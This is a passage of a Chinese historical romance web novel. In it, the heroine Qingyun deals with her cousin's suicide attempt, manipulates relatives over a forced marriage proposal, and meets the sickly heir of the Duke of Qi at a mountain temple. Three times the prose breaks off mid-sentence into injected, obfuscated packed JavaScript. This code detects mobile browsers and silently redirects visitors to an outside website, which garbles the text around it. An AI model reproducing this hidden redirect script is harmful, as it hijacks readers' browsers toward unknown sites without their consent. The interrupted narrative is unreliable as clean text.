“没,他神出鬼没的,这两天我也没瞧见。”提到这个,白兰有了话,“陈危这个木头,戴管家想让他接管账房,不肯。三公子想让他在身边伺候读书罢,也不愿,只在府里感谢打杂的活儿,也没个正经名头。要不是他和陈管家的关系,恐怕都要被人忘了。唯独听姑娘您的话,随叫随到,若是姑娘愿意说两句,说不定他就听劝了。” “人各有志,他有自己的想法,我也不好插手。” 说曹操,曹操便到。话才落地,白芷就隔帘说陈危在外边等着,允他进门后,他直接大跨步走到清蕴身边,带来一个令人极为震惊的消息。 王令娴割腕自尽了。 捏着纸张久久没动,清蕴问,“什么时候的事?” “昨夜子时。” “好,我知道了,你回去忙罢。” 陈危离开后,清蕴仍躺在椅上,眼中有些疑惑。 依她对王令娴的了解,她应该是绝无可能自尽的,既不会生出这种想法,也没有这个胆子。 是受了刺激,还是其他原因? 她没有困惑太久,因为半个时辰后,秦夫人那边就传话让她去竹院,特意嘱咐她只身去即可。 清蕴从善如流,被请到竹院外屋时,秦夫人、大舅舅王维章、郑氏以及王宗赫都在其中,个个沉着脸。 “猗猗。”见了她,秦夫人神色稍缓,“这样冷,怎么不多穿些?” “已经很多了。”清蕴含笑握住她手,示意自己暖得很,被秦夫人唤到身边坐下,完全没提为何叫她到这儿来。 秦夫人的爱护之意溢于言表,王维章不得不轻咳一声,“清蕴,请你来是有一事相问。” “大舅舅请问,但凡我清楚的,一定知无不言。” 坦然的态度让王维章有些不知如何开口。 在他眼中,外甥女清蕴是再令人放心不过的孩子。孝顺、端庄、知礼,待人大方和善,谁见了不夸?她万不可能做出帮表姐和外人传私情的事,如果知道了,也会第一个劝阻,更不会瞒着他们这些长辈。 斟酌语句后,王维章尽量言简意赅把王令娴割腕自尽、进而被他们发现根本没病的事说出。 他也是盘问过妻子郑氏、何妈妈、素桃等人,才大致清楚了前因后果,惊怒无比。惊于乖巧懂事的女儿会和人生出私情,怒在这么大的事妻子居然瞒他,所以昨夜夫妻俩就已大吵了一架。 令娴因发现及时,没有性命之忧,但左手筋络受伤,从此以后都不能再提重物,遇阴冷天气还容易酸疼,让他们心痛不已。 最为关键的是,他们到现在都不知道让女儿豁出性命的小子到底是谁! 妻子第一个怀疑清蕴,觉得她和令娴关系好,肯定知晓内情,说不定还会从中帮忙。王维章不这么想,可也不愿放过任何一丝探明真相的机会。 随着他的讲述,清蕴露出惊讶之色,许久道:“所以舅舅是想问我,是否能猜出此人身份?” 王维章颔首,看着清蕴凝眉思索,“这些我确实不清楚,之前也没看出任何征兆,若是我再仔细些,也许能有发现。不过……大姐姐很少出门,赴宴也都是和长辈们一同,倒是有几个交好的姑娘,也许可以看看她们家中是否有适龄的兄弟?” 这种推测,王维章已经想到,并一一否定了,夫人早就查清楚和那几家无关。 他作为大理寺卿,常年做的都是查案的活儿,自认早练就一双鹰目,甚少有人能够当他的面说谎,稍一观察清蕴神情,就知道外甥女没有说谎,她对这些确实毫不知情。 可笑他们这些长辈,竟在这儿把孩子当犯人般审问。 “三哥在国子监的同窗呢?他们偶尔也会来家中做客。” “不是他们。”回答的人是王宗赫。 又问了几句,正当王维章觉得得不出结果,要让人回去时,郑氏猛地扑去握住清蕴双臂,长甲几乎陷进衣衫,“你肯定知道罢,不然令娴装疯时为何也只要你陪?你们商量过什么,那人到底是谁?你莫不是对我怀恨在心,故意不说?她可是你姐姐,你难道不知这样是害她么!” “夫人/郑静!”王维章和秦夫人的喝声同时响起。 王宗赫也迅速起身,在看到王维章上前握住郑氏的手时停下。 秦夫人怒极,没想到儿媳到这个地步还要怀疑清蕴。 当初郑氏刚嫁来时,就和未出阁的女儿不对付,俩人常常争锋拗气,互不服输。本以为这种较量在女儿远嫁后能消停下来,可郑氏竟把恩怨延到了下一代,常拿清蕴和令娴作比较。 无论外貌还是才情,清蕴远胜令娴,曾在宴会上传出名声,郑氏觉得是她夺了令娴风头,暗暗挤兑许久,后来清蕴就甚少去诗会、文会之流了。她若是给清蕴挑了什么衣裳首饰,郑氏也定要给令娴选一套更贵重的。诸如此类的事,不胜枚举。 最过分的是,去年定王将去封地戍边,一位宗亲欲帮他解决终身大事,找上了老大,问王家是否有适龄姑娘。 令娴自幼不喜打打杀杀,瞧见刀剑就腿软,连骑马都不敢,而清蕴幼年曾随父戍守边城,颇擅骑射,适合得多,老大自然而然为其举荐清蕴。 这事他们都是知道的,当时还有些不舍,想先让清蕴看看。 可郑氏呢,她认定这是老大不疼亲女、偏疼外甥女,竟在宗亲派人上门时,当着媒人的面贬损清蕴,还安排好些下人做戏,成功搅黄了这门亲事。 不仅如此,在议亲失败后,还故意给清蕴介绍外家远亲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果她没记错的话,王令娴的房中此前从未有过这类史书,对这些也没兴趣。 清蕴把它拿了起来,轻轻摩挲。 “破釜沉舟,置之死地而后生。”她忽然出声,“是那位教的吗?” 王令娴神色微变,没料到她这么敏锐,一时抿唇不知怎么说。 “大姐姐不必提防我,我不会打探那人是谁。” 相较于长辈,王令娴确实更信任这位年纪相近的表妹,也愿意说些心里话,踟蹰了下,“你是不是觉得,这样很傻?” 两天前的夜晚,她偷偷让没受到看管的素荷帮她到书局传话,那儿是她和周郎常见面的地方。素荷回来后带了这本书,关于项王宋义这页被折起,她看了许久,终于明白其中意思。 当然犹豫过,可母亲的强势更令她厌恶,她想要打破母亲的桎梏,为此不惜付出一切。 “我只觉得,大姐姐很有勇气和决心。”清蕴柔声,“若能达成所愿,没有傻不傻,只有值不值得,你认为呢?” 王令娴心头微震,抬头对视而去,看见清蕴眸光温和,竟真的在赞许她,令她翻涌的情绪也跟着奇异般的平复下来。 “值不值得,其实我也不知道。”王令娴喃喃。 她喜爱周郎吗?当然是喜爱的。可要说多么了解,才几个月的时间,如何能看穿一个人呢。所以清蕴的问话,她没有答案。 “我有个方法,不知大姐姐愿不愿意尝试。”清蕴对她晃了晃书。 5. 第五章 两刻钟后,清蕴推门而出,朝望过来的众人点头,“大姐姐很累,刚睡着了,今天最好不要再打搅。” “她可有说那人的身份?” “没有。”清蕴沉吟,“不过我们说定了一事,大姐姐暂时不想让其他人知道,还请舅舅舅母给些耐心。至多一个月,这事就能见分晓。” 王维章思索了下,很快点头,“好,我们先不追问,让她安心养伤。但这段时日她也不能外出,更不能私下和那人见面。” “我知道的舅舅。” 女儿糊涂,清蕴他还是很相信的。这孩子向来沉稳聪慧,凡事都懂得拿捏分寸,应该不会搪塞他们,王维章又说了声好。 郑氏想开口,被丈夫一个冷眼扫来,话到嘴边停住,看着清蕴去了屋外才开口,“那……我也过段时日再去国公府?” 姊妹俩谈心的时候,她被婆婆和丈夫狠骂了番,再加上受女儿的剜心之言刺激,这会儿终于收敛了那咄咄逼人的神态。 “明天一早就去。”秦夫人出声,“继续拖着,你想看令娴再割腕一次不成?” 郑氏嗫嚅,“若是令娴想通了,这桩亲事有哪里不好?” “蠢妇!”王维章低斥,“你可知国公府这些年寻了多少名医奇药?早有传言说齐国公世子命数微薄,难以活过而立,你想让令娴嫁过去守寡不成!” 他和齐国公世子同在朝为官,知道这位世子时常告假休养,翰林院编修这样轻松的文职都支撑不住,可见身体孱弱。难以活过而立的话,其实也是道听途说,但不说得严重夸张些,就无法打消妻子的念想。 郑氏瞪大眼,果然不说话了。 “但凡你议这门亲之前和我多说两句,都不会闹到今天这个地步。”王维章厌恶地看她,“好在没交换庚帖,赶紧上门说清楚。大长公主可不容易糊弄,你最好想个不容回绝的说辞。” 他们争吵时,清蕴就在外边廊下等候,王宗赫伴在身旁,间或有三两字眼传入耳中,都听得不怎么清楚。 但王宗赫何等敏锐,从几个词中就猜到他们在说什么,也推断出了妹妹割腕自尽的另一个原因,眸色沉沉。 在听到里面又接着提起清蕴时,王宗赫余光凝在清蕴脸上,发觉她神情恬淡、毫无异样,这才放下心来。 大约一刻钟后,房门打开,三位长辈走了出来。 “走罢,猗猗。”秦夫人出声。 清蕴点头,这场闹哄哄的戏总算要散场了。 临走前,秦夫人瞥了眼儿媳。她刚对郑氏下了禁足令,并收回管家权,让她去过国公府后,就在家好好照顾王令娴,不必再管其他。 既是要管教郑氏,也是为清蕴出气。 王令娴割腕一事刚发生时,秦夫人就没想把外孙女牵扯进去,毕竟怎么想都和她毫无关系,是郑氏执意要把人叫来。结果兜兜转转,果真叫清蕴受了委屈。 所以刚出竹院没两步,秦夫人就道:“你大舅母喜欢争强好胜,心眼又小,之前那些话别当真,都是她一家之言,我们从没这么想过。你的心性,阿嬷再清楚不过。” “嗯。”清蕴扶着她,语调一如往常,“大舅母也是爱女心切。” 体贴模样叫秦夫人内心叹气,这孩子灵秀聪慧,就是待人太宽和了,总叫她觉得容易受欺负,真不知怎么护着才好。 “过刚易折,过柔则靡,刚柔并济才好立足。长辈虽要敬重,也不能任其摆布,知道吗?” 清蕴唇畔弯弯,答知道了,叫秦夫人不放心地提点好些话,直到路口才停住,“我还有些事,你先回屋歇着罢。若是你大舅母那儿再找,不必去,只管叫她来见我。” “好。” 拜别长辈,清蕴转道去厨房,探望了下汤婶刚病愈的小孙女,丝毫没被刚才的事影响心情。 因去年那件事,家中好些人为她鸣不平,觉得她这些年在大舅母这儿受了委屈。但在她看来,郑氏并没有那么惹人厌恶,相反,还很好用。 她对定王毫无兴趣,却不好亲自出面拒绝。所幸郑氏见不得她胜过王令娴,稍微被煽风点火,就出手搅黄了议亲,极是干脆。 至于那些明里暗里的比较,她从未放在心上,毕竟郑氏那些手段实在不值一提,反而让她在府中立足省了不少功夫。 ** 因消息封锁及时,竹院的半夜惊变甚少流传出去,连二房那边都不知道王令娴自尽一事,王家得以维持表面的风平浪静。 但郑氏翌日要去拜访齐国公府时,内心就很难平静了。 坐在马车上,她一直惴惴不安地思索要如何和那位殿下解释。 论关系,她和镇国大长公主以前算得上亲近,二人是幼时好友,玩笑般成了结义姊妹。可惜随着年岁渐长,联系就淡了下来。等大长公主亲自领兵平乱,得封“镇国”二字后,争相讨好她的人如过江之鲫,难以找到接近的机会。更别说如今她和齐国公都手握兵权,长女又在宫中为妃,国公府可谓翻云覆雨、权势滔天。 若非半年前在光明寺的意外相遇,直到现在她也难和人说上话。 所以一得知大长公主有意为世子择妻,郑氏就对这件事上了心,仔细打探过世子情况,觉得除了体弱些再没什么可挑剔的,便主动透露出结亲的意思。 当时大长公主笑盈盈看她,问是否当真,她斩钉截铁,才得殿下欣然应允。 如今也是她出尔反尔,可见要遭受怎样的怒火。 郑氏忍不住想,怪不得大长公主要那样问她,原来世子竟是那样的状况。 如此说来,殿下也隐瞒在先,自己算不得十分理亏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659645|156685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢。 她在内心给自己鼓足了劲,刚在厅前落座喝了口茶,就见傲气凌人的大长公主携众仆婢入内,那股气势顿时一泄千里。 慢慢吞吞地把想好的理由说出,郑氏硬着头皮道:“小女承蒙殿下抬爱,可惜身子不争气,一场高烧反反复复,如今竟是得了喘疾。大夫说必须要静养,少则一两年,多则三五年。既如此,怎好耽误世子的终身大事。” “外头的赤脚大夫能有几分本事?明儿叫宫里太医去瞧瞧。”大长公主不以为意,“要怎么治,需什么药,尽管找我便是。” “不敢劳烦殿下,先前已请了宫中太医。”郑氏做出愁闷模样,“若非有了定论,也不敢来说这些话,实在是……天意弄人,两家无缘呐。” 定定看着对面,大长公主突然一笑,激得郑氏心头也猛一跳。 “婚姻是结两姓之好,既然令娴身体不好,我当然不会强求,只是……”她道,“文英,早先若非你说想借儿女亲事延续你我闺中情谊,我也不会拒了宝真郡主那边,如今宝真郡主已经和人定亲,你这边又出状况。大师说过,世子半年内必须娶妻,现在我去哪儿再找个好儿媳?” 郑氏讷讷说京中有众多闺秀,世子不愁无妻,还表示要送上厚礼弥补。 大长公主却道: “你们王家适龄的女孩儿,不是还有一个么?已故陆大将军之女,听说她也尚未议亲。” “这……”郑氏尴尬道:“我不过是她舅母,哪儿做得了这孩子的主。别说家里两位长辈,听说陆家那边也正准备给她说亲呢。” “那不是正好,谁能比得过齐国公府?” 接着又说了些话,大意是两家人同在官场上走动,总有打交道的时候,闹得难看就不美了。表面和气,实则有些威胁的意味。 强势得不容人拒绝,可郑氏哪儿敢应下,陆清蕴是婆婆的心头宝,如今又得知世子寿数不长,更不会同意这门亲事。 她忧心忡忡地回到家中,把大长公主的话原原本本传到,果不其然遭到反对。 “决不行。”秦夫人斩钉截铁,先前拨得哔啵作响的佛珠被拍在红木方桌上,“我们王家的姑娘任他挑选不成,姊妹交替着议亲?” 王维章也道:“国公府再势大,也没有强娶的说法。我们为陛下办事,凭的是本事和忠心,任他们使那些手段,还能威胁我们不成?” 郑氏不敢接话,此事因她而起。若非她受定王一事刺激,铆足了劲想给令娴定个家世门第都出众的世家子,也不会引出这些麻烦。 好在家里人知道迁怒她无用,紧要的是拒绝这莫名其妙的提亲。 “你明日再去登门,带几箱厚礼,就说清蕴已经和人定亲,只能辜负殿下美意。” 秦夫人一锤定音,不容儿媳再说,把人赶出了屋。 6. 第六章 秦夫人拒绝了大长公主的提议,也没有和清蕴提过这事,只抓紧时间为她挑选郎君。 所以清蕴这段时间除去探望王令娴,就是不停翻看外祖母拿来的册子,很有些皇帝选妃的感觉。 眼看陆家人进京的日子愈近,她依旧是不紧不慢,沉静自如,养气功夫极好。 如此大约半月后,郑氏难得主动来看她。 “猗猗。”她恢复了体贴模样,唤得极为亲热,“才给盈盈做了份梅花焦,想起你也爱吃,我就带了份来。” “多谢舅母。”清蕴吩咐人上茶,两人说过几句寒暄的话,郑氏围着她面前的琴看了两圈,“猗猗爱琴?你大舅舅那儿有把琴叫独幽,听说是名琴,反正他放在那儿不怎么用,干脆取来给你罢。” 清蕴笑着先道谢,然后说:“大舅舅也是爱琴之人,君子不夺人所好。” “爱琴又如何?他马上就要去别处任职了,那把琴又不能随时带在身边。” “大舅舅要走了?” “是啊。”郑氏道,“他惹怒了陛下,要被外放到海南那等蛮夷之地去任知府,说是做出功绩才让归京。” 说着说着,止不住得失落,“他又不愿带上我们,这一去,何时才能再相见啊——” 海南?这几乎等同于放逐了。 清蕴讶异,“大舅舅办差向来细致妥帖,怎么会惹陛下生这样大的气?外祖父没有求情吗?” “你外祖父的性子还不知道么,只说这是陛下对你大舅舅的历练,根本没想插手。”郑氏幽幽道,“我请了其他说得上话的人帮忙,也无一例外被驳回了。” 清蕴跟着沉默下来,似乎不知如何安慰她。 郑氏却好似开启了话题,自顾自说了下去,“你有所不知,这段时日我们家中很不太平。” “先是朝堂上有人攻讦你外祖父,说他酒后失德,大肆议君,目无法纪。随后又是你舅舅误判了一桩案子,惹得陛下大怒,当朝停了他的职。这不,昨儿又传出风声,说是要把他贬去海南。” “最近我在家里确实隐约听过一点风声,还以为是小事,没想到竟这么严重。” “唉,朝堂的事怎么好对你们说道。” 眼见她目露沉思,郑氏又开口,“其实……我觉得他们并非真出了差错,而是另有原因。” “嗯?” 屏退左右,郑氏斟酌语句把先前齐国公府向她提亲的事说出。隐去前因,只道大长公主听闻她的美名,意图为世子求娶,却被家中毫不犹豫地拒绝了。 “殿下素来傲气,可能是不满我们拒绝亲事,故意为难王家。”郑氏试探地问清蕴,“你觉得呢,猗猗?” “朝堂争斗牵系甚大,其中利益错综复杂,不一定只是为这件事。”清蕴笑了笑,“舅母应是想多了,我还不至于有如此能耐。” 郑氏有些着急,“那我问你,若是这桩婚事再摆在面前,你会应下吗?” “这并非我应不应的问题。”清蕴摇头道,“外祖母已经为我选定人家,准备同人说好后就择日交换庚帖,一女如何许两家?” “……是谁?!”郑氏大惊,她还当那是婆婆的推辞。 “是佥都御史夏宁夏大人府上的公子。” “你已见过此人了?” “还未。” 郑氏放下心来,“佥都御史如何比得上齐国公?国公爷和殿下皆是位高权重,但凡国公府的人,哪个不被高看一眼?世子如今虽然名声不显,但你还记得三年前科举时他在金銮殿上一鸣惊人之事吗?陛下亲口夸赞他有济世之才。当时好些名门闺秀青睐这位世子,争相想与其结亲。若非当初世子身体尚未大好,怎会拖到今日呢。现今他已经好转许多,再调养一段时日,就能和常人无异了。” 这样夸赞的话,目的未免太明显了。清蕴静静看郑氏,“舅母的意思是,因世子家世才貌更出众,我便要毁约?” “怎么算毁约呢,你和那夏公子又没定什么。舅母知道,你是淡泊之人,向来不追求这些名利。”郑氏道,“可能够选择的话,为何不选个更好的呢?何况、更何况……” 她一跺脚,“猗猗,我同你说实话罢,这些话就是大长公主那边透露出的意思,她打定了主意要你嫁给世子。眼下除去你外祖父和大舅舅,你三哥如今在国子监也处处不顺,或许过不久,家中其他人也要受牵连。国公府势大,李贵妃又深受陛下宠爱,你难道真忍心仅因一门亲事,就叫我们家破人亡么?不过是考虑考虑,并非直接定下,若是能有个妥当的理由回绝,也许那边便不气了。” 事情其实没这么严重,但郑氏知道未出阁的姑娘家不经吓,故意把事态说得夸张些,好歹先把人哄答应这一步再说。 凭她作为长辈的切切恳求和话语中透露的意思,清蕴似乎被说动了,“此事并非我一人能够决断,您得先和外祖母商量。” “只要你同意,我立马就去同母亲说。” 清蕴思索许久,最终点头。郑氏心头那块巨石终于落下,整个人都轻快许多,“那我现在就去。” 她一刻也不愿耽搁,步履匆匆地出了朝云榭。 在她身后,清蕴继续慢慢练琴,清泉激石声不绝于耳。 她当然知道王家形势并没有那么严峻,也清楚郑氏私心。 不过这桩婚事演变成今日情形,对她而言算不上意外,甚至等的就是这一刻。镇国大长公主的行事作风都有迹可循,再加上她信重法显禅师,而法显是个表面德高望重、淡泊名利,实则极其贪财的假高僧,有些事就有了暗地筹谋的余地。 到如今,一切正在往她预期的方向前行。 ** 夏家公子是这两天秦夫人才看中且有意定下的。 佥都御史官职说不上高,也决计不低了,加上夏家家风好、有不纳妾的习俗,让秦夫人十分满意。她旁敲侧击一番,听说夏家幼子两年前曾在宴会上见过清蕴,自此一见倾心,更是高兴,所以想促成这桩婚事。 郑氏这会子来提齐国公府,当场被她狠骂了顿,“老大办事不谨慎被人抓了错处,你非觉得是那边使绊子。官场上的事,什么时候要一个未出阁的姑娘去维系了?” “娘,您先别气,我也是替清蕴着想。世子寿数的问题,殿下那边金口玉言,说经过这些年调养,已好了许多,绝不会欺骗我们。哪个姑娘不想嫁更好的郎君?清蕴既然能答应考虑,心底也是意动的。”到了秦夫人这儿,郑氏又是一套说法,“听说陆家那边也盯着清蕴的婚事呢,难道他们还有本事越过国公府不成?” 但无论她怎么舌绽莲花,在秦夫人这儿都没什么用。 真正让秦夫人惊讶的是清蕴竟会答应,不由想,她把夏三夸得绝无仅有,这孩子都还是寻常模样,不说好,也不说不好。应下郑氏,到底是被诓骗了,还是确实对齐国公世子有意? 左思右想,秦夫人不知如何是好,便在王贞归府后提起了这事。 清蕴的外祖父王贞官拜礼部尚书,称得上位高权重,但他奉行以和为贵,从不摆官架子,对家人、同僚、百姓都是一副随和模样,甚少与人生龃龉。有人道他整日笑眯眯的,像个滑不溜的老狐狸。即使这段时间在朝堂上履遭针对,他面上依旧平和,看不出半点急躁。 听完秦夫人带有明显倾向性的话,王贞抚须,“这阵子齐国公心情大好,偶尔会带世子赴宴。我观其虽不健硕,但也无沉疴之态,许是确实大好了。” “如此,你也赞成?”秦夫人狐疑,“你莫不是也认为朝堂上那些事和这有关,准备拿清蕴消灾?” “夫人未免把我想得太无用了。”王贞失笑,“如今朝堂由柳阁老、齐国公、司礼监分权而治,以我和老大不偏不倚的作风,遇到这些事并不稀奇。我之所以这样说,是因为同李世子打过几回交道,他担得起君子二字,可为佳婿。” 还道:“夫人,猗猗已经十六,你既信她能独自掌管好几家商铺,为何不信她有自己的择婿之道?长辈的拳拳爱护之心,不一定是孩子们所想。郑氏才犯过的错,你莫非也要效仿?” 这话真正戳中秦夫人的心,犹豫了半日,还是把清蕴唤过来一问。 “你大舅母把话儿都说给我听了。”秦夫人道,“你和阿嬷说心里话,到底是被她那些话吓着了,还是真想要这门亲事?不要夏家了?” 清蕴起先没说话。 秦夫人也没逼问,接道:“官场上起起伏伏都是常有的事,当初你外祖父因触怒先帝被贬谪出京,也是在外待了五六年才回。哪儿有一帆风顺的仕途,和你没什么关系。还有……” 她觉得这话不大好对小辈说,又不得不叫外孙女晓得其中利害,“你有所不知,那世子……恐怕于子嗣一道也是艰难。即便他寿数没问题,也不是良配。” 清蕴听罢似乎也有些惊讶,沉思良久,“阿嬷,那这桩婚事就更适合我了。” 秦夫人大为不解,若为人妇,无子嗣傍身该是多么艰难,这孩子不可能不清楚。 “有一事,我一直不曾告诉您。” “嗯?”秦夫人倾身。 “小时候和爹娘戍边时,我曾受过伤。”她轻声讲述,“当时以为小伤,爹娘都没在意,痊愈后却留下畏寒的小毛病。直到回了江苏,有位擅诊女脉的大夫为我看过,令我要好生调养,不然会于生育有碍。” “本在用药调理,爹娘却相继离世,弟弟也……刚被接来王家的两年,我无心想这些。记起后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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秦夫人不这么想,在她看来,清蕴会考虑这桩婚事,完全是因郑氏扯出的这些纷端。说什么占便宜的话,恐怕是不想让家里惹麻烦。 “结亲不只是两家事,也是夫妻二人之间的事,以后你们要日日夜夜相处,无论如何不能马虎。你和齐国公世子先见一面,合了眼缘,再谈其他。” ** 秋阳弄光影,忽吐半院红。① 如此好天气,在窗畔支一张胡床,摆上茶灶、釜器、木炭等物,把茶饼先炙烤一遍,再碾成细末,以乳泉煎煮,待三沸后舀出茶汤。这样集天时地利人和煮出的茶,即便是寻常寿眉也别有一番滋味。 藏翠自幼跟随世子,见识过不知多少奇珍异宝,品尝过无数佳茗,在捧着手中这杯茶时仍忍不住感叹,“五碗肌骨清,六碗通仙灵,说的就是世子爷煮的这壶茶。喝下去真叫人通体舒畅,耳清目明啊。” 坐在胡床前的青年仍在往茶壶内添加薄荷、盐等物,任它们由小火烘焙,动作不紧不慢,看着随意但极有条理。 他穿了身素色道袍,长垂及履,宽袖拂膝,本就挺拔修长的身形愈显清逸飘然,听得这明显的恭维时莞尔一笑,恰如清风朗月入怀,“喜欢就多喝些。” “藉香不在,我自然要多喝几杯,等他回来要嫉妒得很。”藏翠把杯中茶一饮而尽,“可惜世子爷喜欢煮茶,却不能喝。来日等您身子好了不用再吃药,可得好好品尝。” 李秉真未置一词,自从五岁那年突遭恶疾后,他常年累病在身,几乎都是在服药和针灸中度过,早就忘了康健的滋味。所幸还能寻得一二兴趣,在忍受病痛之际,尚能有丝慰藉。 “品尝什么?”人未至,大长公主声先到。她几步从八角门穿过,珠翠缠身、华服迤地,风风火火的模样。 藏翠立刻起身,恭敬称“殿下”,解释道:“是世子煮的一壶寿眉。” 镇国大长公主挑眉,示意他倒一杯,随即转向儿子,“安儿,王家那边已经应下,想安排你和陆姑娘见一面。” 她把王家的话大致说了遍,李秉真立即听出其意,“这似乎不是直接答应婚事。” “那有什么?”大长公主满不在意,“但凡见了面,还会有姑娘不想嫁给你?若非法显大师以紫微斗数测算,算得你宜娶辛酉、壬戌年出生,五行属水的女子,我也不会直接定下她。有这份运气,他们该感恩戴德才是。” 对于母亲的作风,李秉真早有预料,也心知她必然使了手段,不然此前对他们避之唯恐不及的王家不会这么快改口风。 说起成婚,他自己当然是反对的。早在还未及冠时,就有太医私底下说他活不过而立。经年下来,他对自己的身体状况越发清楚,也早有心理准备,不想耽误任何一位姑娘。 许是这两年身体稍微好转让母亲产生错觉,以为他将要彻底痊愈,竟动了给他娶妻的念头。 他不想拉旁人下水,这些心思却不会在爱子心切的大长公主面前流露,只微微颔首,“那就见见罢。” 7. 第七章 “姑娘,咱们走边上,人少。” 霜降节气已至,石经山上仍绿荫如盖,笼住了朝阳的温度,使寒意更甚,但登山前往光明寺参拜的百姓还是络绎不绝。 白芷陈危一左一右护着清蕴,可以看见有好些虔诚的香客正在长阶上三步一叩、五步一拜。 光明寺能求姻缘,可到底不是姻缘寺,白芷不懂,为何两家要选在此地让姑娘和世子见面。累这一遭,还不如找个茶楼。 清蕴骑射功夫好,体力比寻常闺阁女孩儿要好些,三百级石阶后,只是气息微微不匀。白芷和她差不多,陈危就更无异样了,拾阶时如履平地。 站在原地休息片刻,清蕴先去主庙拜了拜,奉上香火钱,瞧见几支求签筒时,视线略作停留。 陈危一直在注意她,见状直接把月老灵签筒拿了过来。 她想了想,“再拿个签筒,干脆都求一签罢。” 随着一阵摇晃,三个人的签文很快依次摆在面前。 清蕴是难得的长签文,上书【自剪芭蕉写佛经,金莲无复印中庭。清风明月长相忆,玉管朱弦可要听,多病不胜衣更薄,宿妆犹在酒初醒。卫星年违别成何事,卧看牵牛织女星。】① 白芷和陈危则分别是【盈虚消息总天时 自此君当百事宜】和【谁知苍龙下九权 女子当年嫁二夫 自是一弓架二箭 恐教龙马不安居】 他们二人中,前者算得上绝顶好签,后者就很一般了,和清蕴的签文有些相似,带着那么一丝谶言的感觉。 认真看了许久,清蕴笑笑,“签文如何解,都是仁者见仁智者见智,凭心参悟即可,不必尽信。” 说完没再停留,抬步跟上引路的小沙弥。 光明寺和皇室关系密切,先帝曾在这清修过一段时日,大长公主这两年也成了频繁来此的香客。当今对佛教之流没那么推崇,依旧把这里作为举行大典的地方之一。 越过前几座庙宇,后方大都是高僧清修之地,只有一些身份贵重的香客才能进入。 站在半山腰俯瞰,天际云蒸霞蔚,足下群峰环绕,正是一副叠翠流金的美景,引人目光流连。 小沙弥说这是他们每日做早课、诵经的地方,再指向不远处的一片房屋,那是香客们修行、居住的场所,齐国公府在这儿有一间常留的厢房,他要带他们去的就是那儿。 尚未走近,就能瞧见有青年守在门外,一身武者打扮,着赭色竖褐,腰佩长刀,见了他们颔首,“可是陆姑娘?在下是世子贴身护卫,藉香。” 陈危代作应答,藉香道:“世子在屋内等候,请陆姑娘独自入内。” 与外男相见,纵然这是家中安排,身边人也不可能让清蕴孤身和对方打交道,陈危和白芷立刻出声反对。藉香纹丝不动,面无表情道:“世子吩咐如此,其他人不得打扰。” 瞧他气势,似乎表示如果不听从,下一刻就会拔刀。 陈危双目沉下,绕过他就要上前开门,藉香眼也不抬地拿刀鞘阻挡,却见陈危伸掌握住木鞘,稍一用力,鞘身竟立刻有松散迹象。藉香心惊于此人气力之大,险些叫自己脱手,准备再使巧劲。 “陈危。”清蕴出声,“我进去,你们先在外等等。” 白芷从来不质疑她的决定,噢一声走到旁边。陈危则继续和藉香对峙了会儿才松手,低声道:“我就在门外。” 他心中对这位世子印象已极差,倚仗国公府威势,称得上目中无人。 对他们投去安抚目光,清蕴推开木门。 寺庙厢房布局大都简朴,陈设寥寥无几,除桌椅睡榻,也只有窗牗框住的一片山林可称清幽。 那处摆了张方木桌,上设棋盘,一眼望去,先望见的是衮着祥云纹的宽大衣袖,其下露出修长手指,正朝盘上落子。 光论这坐在窗畔的身影,已算得上浊世佳公子。美玉作冠,华袍披身,坐姿亦是挺拔,从中足以窥出世家子弟的优雅气度。但客人已到来,他却只简单说一句“坐罢”,头也不曾回,立刻便展现出一种令人难言的冷漠和傲慢。 清蕴不曾气恼,从善如流地坐下,旁边摆了几本书,是诗词、地方志、话本之流,一一掠过,视线最后停留在那盘棋上。 下棋这件事,可作博弈,可作娱乐,是门不错的消遣。高手间对弈往往十分胶着,很耗费精力,像这种黑白分明的局面,只算得上自娱自乐。 没过多久,这位世子就好似体力不支般轻咳两声,把棋盘一扫,回过头来,让人看清了他的脸。 眉、眼、鼻、唇无一不端正,组成一张占尽风流的面孔,兼具英气、贵气,极富魅力。但他脸和唇又极为苍白,身体半倚着靠背,眼睫低垂,仿佛光坐在这儿就耗费了极大的精力。 “陆姑娘。”他漫不经心地示意清蕴到窗前入座,顺手给她斟了杯茶,“两家商议的事,你应当都清楚了。” “如果世子指的是今日相见的前因,我确实知晓一二。”清蕴微微颔首。 李秉真看去,只见她双眸明净,气质轻盈,丝毫没有表现出被人怠慢的不悦,足见心性卓越。 如果在仲春宴上,像她这样清灵雅致的名门闺秀,定会被众多少年郎君追捧,而不是在此地和一位年长她七岁、疾病缠身的男子谈论终身大事。 他愈发冷淡,刚想开口,忽被一阵猛烈的咳意打断,不得不以袖掩唇。 一阵剧烈咳嗽后,捂嘴的帕子已染了星星点点的血迹。 李秉真习以为常,徐徐收起软帕,掏出一丸药服用,又咳了好片刻才停歇,完全是重疾在身、即将不久于人世的模样。 “我沉疴在身,常年如此,已习惯了,你莫要被吓着。” “不会。”清蕴道,“我听人说,咳是因为体内积有郁气,身体在排瘀通堵,能咳出血来,成效应当更上一层。” 不意她如此从容,李秉真疑心自己听错了,却见清蕴安然如常。 很快敛去情绪,他道:“如此便好,既然陆姑娘不惧这些,有些话我就要坦诚相待。” “世子请说。” 